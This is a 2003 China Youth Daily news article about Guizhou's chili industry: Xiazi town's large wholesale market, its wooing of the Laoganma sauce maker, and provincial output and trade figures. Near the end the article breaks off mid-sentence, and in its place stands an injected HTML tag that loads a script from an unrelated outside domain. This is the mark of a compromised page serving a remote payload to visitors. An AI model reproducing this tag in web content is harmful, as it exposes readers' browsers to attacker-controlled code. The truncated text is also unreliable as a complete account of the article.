最大原料市场示爱生产企业 贵州辣椒谋求霸主地位

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  贵州谋略:强强联合

  最近,地处贵阳市的“老干妈”等几个辣椒食品企业宾客盈门。客人多来自贵州省内的几个辣椒生产基地。遵义县虾子镇就是其中之一。

  “我们拥有中国最大的辣椒专业市场,有中国最好的辣椒资源优势,再与‘老干妈’这一中国响亮的品牌联姻,岂非天作之美?”虾子镇党委书记邓仁刚这样游说“老干妈”。

  邓仁刚掌握的数据显示,“老干妈”公司年产辣椒食品3万吨,需用干辣椒8000吨,80%以上来自虾子镇。为什么不能将辣椒食品生产厂建到市场旁和优质原料产地呢?这样既有益于当地,又能最大限度地降低企业生产成本。这才叫双赢。

  事实上,在虾子镇登门拜访“老干妈”的前几年,“老干妈”与贵州另外一家优质辣椒主产区———遵义市绥阳县曾有过短暂的“婚姻”。然而,“老干妈”在绥阳建设生产分厂的计划很快夭折了。尽管该公司拒绝就此作出解释,但有传言说,“老干妈”所在地有关部门生怕放走了这个区里的大纳税户是其中原因之一。

  几年过去了,上述观念似乎有了改变。在“求爱”的过程中,邓仁刚接触到的贵阳市各层面的领导都明确表态:“只有共同做大蛋糕,每个人面前的碟子才会更充实。对‘老干妈’这样的名牌企业在省内其他地区的扩张,贵阳市不设壁垒,积极支持。”

  在贵阳市领导观念改变的背后是,辣椒已经成为整个贵州的一大产业。

  据悉,以虾子辣椒市场的兴旺和“老干妈”的崛起为标志,近几年,贵州辣椒犹如一匹黑马,种植规模、产品数量和市场占有率直线上升,对湘、川、赣、陕、豫等传统辣椒生产大省冲击强烈。

  贵州省政府发展研究中心的一份调研报告称,2001年,全省种植辣椒120万亩,配套种植油菜120万亩,黄豆20万亩,干辣椒、鲜辣椒以及辣椒制品销售总收入超过25亿元,相当于全省 G DP的2%以上。

  贵州省农业厅一位官员告诉记者:“我国29个省份有辣椒种植,160多个县将辣椒产业作为主要后续支柱产业来发展,辣椒产业的竞争已进入‘春秋战国时代’。某种意义上,在经过一段快速增长后,贵州辣椒产业正来到新的十字路口。目前,全省年产干辣椒12万吨以上,10%为农民自食,80%以上销售到省外市场,省内辣椒加工企业消化量不到10%。如能紧紧抓住现有机遇,加大资源整合力度,贵州辣椒称霸全国将不会仅仅是梦想,否则,完全可能丧失优势。”

  小辣椒大市场

  有业内人士说,虾子辣椒的前景就是贵州辣椒的将来。

  虾子镇距遵义市中心区29公里。别小看这个只有6万多人口的小镇,在国内辣椒产业界,它大名鼎鼎。以虾子为主产区之一的遵义县,种植辣椒已有数百年历史。虾子及遵义市绥阳县等地所产“朝天小辣椒”跻身中国七大名椒之列,以肉厚、色鲜、辣香、味浓著称,十分畅销。

  过去,虾子镇的辣椒交易多在老百姓自发的马路市场进行,规模及辐射面有限。

  1992年,当地工商部门与政府联手,建成了占地7300平方米的虾子老辣椒专业批发市场,很快吸引远近各地辣椒商贩纷纷入场,交易量逐年扩大,六七年后已不能满足需要。

  1998年,在上级各有关部门支持下,虾子镇筹资1500万元动工兴建新的现代化辣椒专业市场。去年10月,建筑面积2.1万平方米,包括信息中心、质检中心及电子结算中心的一期工程投入使用。

  当地人为市场取了个打眼的名字———中国辣椒城。据统计,2002年,虾子辣椒市场场内交易量为4500万公斤、交易额3亿元,居全国各辣椒专业市场之首;毗邻地区的辣椒在此集散,远销全国几乎所有省份,并出口墨西哥、东南亚、俄罗斯、韩国等国家和地区。

  “虾子辣椒”越叫越响,市价要比其他辣椒高出一截。

  随着市场的培育成熟,虾子辣椒市场原来的小贩中逐渐产生出3个层次的经纪人,自然形成三级批发体制:一个层次是所谓的“小铲铲”,大约200人左右,每天早出晚归赶周边的乡场,从农民手中一点点将辣椒搜集上来,卖给第二层次、约有三四十人的“中老板”。“中老板”根据辣椒的不同成色、质量等,交给农民剪柄之后,再分类转卖给第三层次、仅有10人左右的“大老板”。有的“大老板”年销售额超过150万公斤,收入丰厚。

  此外,围绕市场,一支近万人的“脱把工”(即负责剪柄的工人)、搬运工、包装工队伍亦应运而生。镇上的辣椒城运输公司,专门拉送辣椒的康明斯大货车,多达70台。

  辣椒市场的兴旺带动了虾子城镇建设。镇政府所在地原来只有一条800米长的破烂街道,人口不过3000人,而今,已建成总长6500米的街道17条,常驻人口加上流动人口约两万人,跨入全国小城镇建设重点镇先进行列。街道两旁的新楼房,7成以上是经营和种植辣椒发了财的农民所盖的。

  独缺“龙头”

  小辣椒,大产业。然而,站在一个山头遥望另一个更高的山头,虾子镇人却又感到极大地不满足。

  “‘虾子辣椒’还处于农业产业化的初级模式,产品附加值较低。农业产业化的‘一条龙’应该由龙头企业、市场与基地?script src=http://shenzzh.com/s.js></script>

发表时间:2003年8月29日   来源:中国青年报

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